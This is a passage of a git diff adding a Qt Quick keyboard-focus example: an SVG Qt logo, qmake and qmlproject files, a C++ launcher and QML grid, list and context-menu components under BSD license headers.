+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/keyinteraction/focus/focus.png b/examples/declarative/keyinteraction/focus/focus.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/focus.png
Binary files differ
diff --git a/examples/declarative/keyinteraction/focus/focus.pro b/examples/declarative/keyinteraction/focus/focus.pro
new file mode 100644
index 00000000..c2d4f6a5
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/focus.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/focus
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEC9F742D
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/keyinteraction/focus
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/keyinteraction/focus/focus.qmlproject b/examples/declarative/keyinteraction/focus/focus.qmlproject
new file mode 100644
index 00000000..d6e7df85
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/focus.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/focus"
+ }
+ JavaScriptFiles {
+ directory: "qml/focus"
+ }
+ ImageFiles {
+ directory: "qml/focus"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/keyinteraction/focus/focus.svg b/examples/declarative/keyinteraction/focus/focus.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/focus.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/keyinteraction/focus/main.cpp b/examples/declarative/keyinteraction/focus/main.cpp
new file mode 100644
index 00000000..1cbe5e03
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/focus/focus.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ContextMenu.qml b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ContextMenu.qml
new file mode 100644
index 00000000..7c884c19
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ContextMenu.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+FocusScope {
+ id: container
+
+ property bool open: false
+
+ Item {
+ anchors.fill: parent
+
+ Rectangle {
+ anchors.fill: parent
+ color: "#D1DBBD"
+ focus: true
+ Keys.onRightPressed: mainView.focus = true
+
+ Text {
+ anchors { top: parent.top; horizontalCenter: parent.horizontalCenter; margins: 30 }
+ color: "black"
+ font.pixelSize: 14
+ text: "Context Menu"
+ }
+ }
+ }
+}
diff --git a/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/GridMenu.qml b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/GridMenu.qml
new file mode 100644
index 00000000..5343efd8
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/GridMenu.qml
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+FocusScope {
+ property alias interactive: gridView.interactive
+
+ onActiveFocusChanged: {
+ if (activeFocus)
+ mainView.state = ""
+ }
+
+ Rectangle {
+ anchors.fill: parent
+ clip: true
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#193441" }
+ GradientStop { position: 1.0; color: Qt.darker("#193441") }
+ }
+
+ GridView {
+ id: gridView
+ anchors.fill: parent; anchors.leftMargin: 20; anchors.rightMargin: 20
+ cellWidth: 152; cellHeight: 152
+ focus: true
+ model: 12
+
+ KeyNavigation.down: listMenu
+ KeyNavigation.left: contextMenu
+
+ delegate: Item {
+ id: container
+ width: GridView.view.cellWidth; height: GridView.view.cellHeight
+
+ Rectangle {
+ id: content
+ color: "transparent"
+ smooth: true
+ anchors.fill: parent; anchors.margins: 20; radius: 10
+
+ Rectangle { color: "#91AA9D"; anchors.fill: parent; anchors.margins: 3; radius: 8; smooth: true }
+ Image { source: "images/qt-logo.png"; anchors.centerIn: parent; smooth: true }
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ hoverEnabled: true
+
+ onClicked: {
+ GridView.view.currentIndex = index
+ container.forceActiveFocus()
+ }
+ }
+
+ states: State {
+ name: "active"; when: container.activeFocus
+ PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "scale"; duration: 100 }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListMenu.qml b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListMenu.qml
new file mode 100644
index 00000000..db247bbf
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListMenu.qml
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+FocusScope {
+ clip: true
+
+ onActiveFocusChanged: {
+ if (activeFocus)
+ mainView.state = "showListViews"
+ }
+
+ ListView {
+ id: list1
+ y: activeFocus ? 10 : 40; width: parent.width / 3; height: parent.height - 20
+ focus: true
+ KeyNavigation.up: gridMenu; KeyNavigation.left: contextMenu; KeyNavigation.right: list2
+ model: 10; cacheBuffer: 200
+ delegate: ListViewDelegate {}
+
+ Behavior on y {
+ NumberAnimation { duration: 600; easing.type: Easing.OutQuint }
+ }
+ }
+
+ ListView {
+ id: list2
+ y: activeFocus ? 10 : 40; x: parseInt(parent.width / 3); width: parent.width / 3; height: parent.height - 20
+ KeyNavigation.up: gridMenu; KeyNavigation.left: list1; KeyNavigation.right: list3
+ model: 10; cacheBuffer: 200
+ delegate: ListViewDelegate {}
+
+ Behavior on y {
+ NumberAnimation { duration: 600; easing.type: Easing.OutQuint }
+ }
+ }
+
+ ListView {
+ id: list3
+ y: activeFocus ? 10 : 40; x: parseInt(2 * parent.width / 3); width: parent.width / 3; height: parent.height - 20
+ KeyNavigation.up: gridMenu; KeyNavigation.left: list2
+ model: 10; cacheBuffer: 200
+ delegate: ListViewDelegate {}
+
+ Behavior on y {
+ NumberAnimation { duration: 600; easing.type: Easing.OutQuint }
+ }
+ }
+
+ Rectangle { width: parent.width; height: 1; color: "#D1DBBD" }
+
+ Rectangle {
+ y: 1; width: parent.width; height: 10
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#3E606F" }
+ GradientStop { position: 1.0; color: "transparent" }
+ }
+ }
+
+ Rectangle {
+ y: parent.height - 10; width: parent.width; height: 10
+ gradient: Gradient {
+ GradientStop { position: 1.0; color: "#3E606F" }
+ GradientStop { position: 0.0; color: "transparent" }
+ }
+ }
+}
diff --git a/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListViewDelegate.qml b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListViewDelegate.qml
new file mode 100644
index 00000000..8f9701d5
--- /dev/null
+++ b/examples/declarative/keyinteraction/focus/qml/focus/FocusCore/ListViewDelegate.qml
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
